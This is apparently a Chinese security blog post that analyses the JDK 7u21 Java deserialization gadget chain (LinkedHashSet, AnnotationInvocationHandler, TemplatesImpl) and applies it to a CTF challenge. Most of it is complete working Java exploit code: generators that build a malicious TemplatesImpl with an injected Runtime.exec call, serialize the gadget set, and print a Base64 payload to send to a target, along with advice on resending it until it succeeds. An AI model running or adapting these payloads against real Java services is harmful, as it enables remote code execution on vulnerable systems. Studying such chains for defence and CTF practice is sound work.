在ysoserial 的payloads目录下 有一个jdk7u21,以往的反序列化Gadget都是需要借助第三方库才可以成功执行,但是jdk7u21的Gadget执行过程中所用到的所有类都存在在JDK中
影响版本:
测试环境:
pom.xml
1 2 3 4 5
| <dependency> <groupId>javassist</groupId> <artifactId>javassist</artifactId> <version>3.12.0.GA</version> </dependency>
|
需要添加javassist依赖
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
|
利用链分析
入口点是在LinkedHashSet的readObject,又因为继承了HashSet,即HashSet的readObject
关注map.put
,PRESENT是一个空的object变量,跟进,大概逻辑为判断key的hash值是否和已有的相等,然后添加进value
注意key.equals(k)
,这里使用动态代理来拓展供给面,我们知道动态代理最终的调用是Handler的invoke函数实现的。这里使用的是AnnotationInvocationHandler这个动态代理handler,查看它的invoke实现
方法名为equal时最后调用equalsImpl,跟进
关注var8 = var5.invoke(var1)
这个反射调用,跟进getMemberMethods
equalsImpl这个函数功能大概明了了,从this.type
获取类声明的函数,然后循环执行,type在构造函数这里可控
这里用到了cc2的TemplatesImpl,详细可以参考 URLDNS&Commons Collections 1-7,这个类只有两个方法
newTransformer方法最后会从字节码实例化恶意类从而执行其静态代码块的恶意代码
如何构造满足条件的hash值?
那么怎么才能执行key.equals(k)
,回到map.put
的实现
首先第一次调用map.put()
时传入的参数e是我们封装了恶意代码的TemplatesImpl对象,另一个参数就是一个空的Object对象
继续put的实现,hash会调用对象本身的hashcode方法,indexFor方法则是会根据计算出的hashcode返回hash索引。第一次调用时table为空,那么就不会进入for循环。addEntry会将key添加进table,包含其hashcode还有hash索引。
那么考虑第二次调用的时候要进入for循环需要根据hashcode计算出的hash索引和第一次传入的TemplatesImpl对象相同。第二次传入的是AnnotationInvocationHandler对象,那么如何让这两个类型都不同的对象计算出的hashcode是相同的呢?
AnnotationInvocationHandler是动态代理的handler,调用其hashcode,最终调用hashCodeImpl
1 2 3 4 5 6 7 8 9 10
| private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
|
var3遍历memberValues存储的键值对,然后var1为hashcode值,memberValues构造时可控
那么让memberValues的第一个键值对的值为封装了恶意代码的TemplatesImpl对象,然后关键就是
1
| var1 += 127 * var3.getKey).hashCode ^ memberValueHashCode)
|
看第一次循环,memberValueHashCode(var3.getValue()
的值即为封装了恶意代码的TemplatesImpl对象的hashcode,因为0和任何数异或的结果都是那个数,那么只需要((String)var3.getKey()).hashCode()
即key的hashcode为0就可以保证循环结束后返回的hashcode值一直为装了恶意代码的TemplatesImpl对象的hashcode,这里f5a5a608
字符串的hashcode为0
for循环过后
1
| if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
|
因为&&
和||
有短路效果,需要满足 e.hash == hash
和 (k = e.key) != key
才会执行 key.equals(k)
第二次put传入代理对象时,e.hash
为封装了恶意代码的TemplatesImpl对象的hashcode,我们上面已经做了处理,代理对象返回的hashcode必然和 e.hash
相等。同时此时k为代理对象,而 e.key
为TemplatesImpl对象,必然不相同
利用思路:
- 构造恶意TemplatesImpl
- 实例化一个HashMap,并添加keyf5a5a608,恶意构造好的TemplatesImpl加入到map中
- 利用反射实例化AnnotationInvocationHandler类,传入map
- 创建一个AnnotationInvocationHandler对象为handler的动态代理
- 实例化HashSet,并将TemplatesImpl和设置的代理这两个对象放进去
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| package demo; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map; public class App { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Str3am"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; ((CtClass) cc).makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); Templates proxy = (Templates) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); map.put(zeroHashCodeStr, templates); try { ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin")); obout.writeObject(set); ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin")); obin.readObject(); } catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
漏洞修复
在 jdk > 7u21 的版本,修复了这个漏洞,AnnotationInvocationHandler
的 readObject()
方法增加了异常抛出,导致反序列化失败
DASCTF July easyjava
禁止序列化LinkedHashSet类
序列化父类HashSet即可,当然这里肯定有其他解法
HashSet和LinkedHashSet区别在于,LinkedHashSet里数据的下标和我们插入时的顺序一样,而HashSet不保证有序
https://www.zhihu.com/question/28414001
payload多打几次就可以了,实在不行交换proxy和templates的add顺序再多打几次
Jdk7u21 HashSet版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| package demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import sun.misc.BASE64Encoder; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map; public class App { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Str3am"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; ((CtClass) cc).makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); Templates proxy = (Templates) Proxy.newProxyInstance(App.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); HashSet set = new HashSet(); set.add(proxy); set.add(templates); map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream obout = new ObjectOutputStream(baout); obout.writeObject(set); System.out.println(new BASE64Encoder().encode(baout.toByteArray()).replaceAll("[\\s*\t\n\r]", "")); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
EvilTemplatesImpl.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class EvilTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public EvilTemplatesImpl() throws Exception { super(); System.out.println("Hello TemplatesImpl"); Runtime.getRuntime().exec("calc.exe"); } }
|
参考链接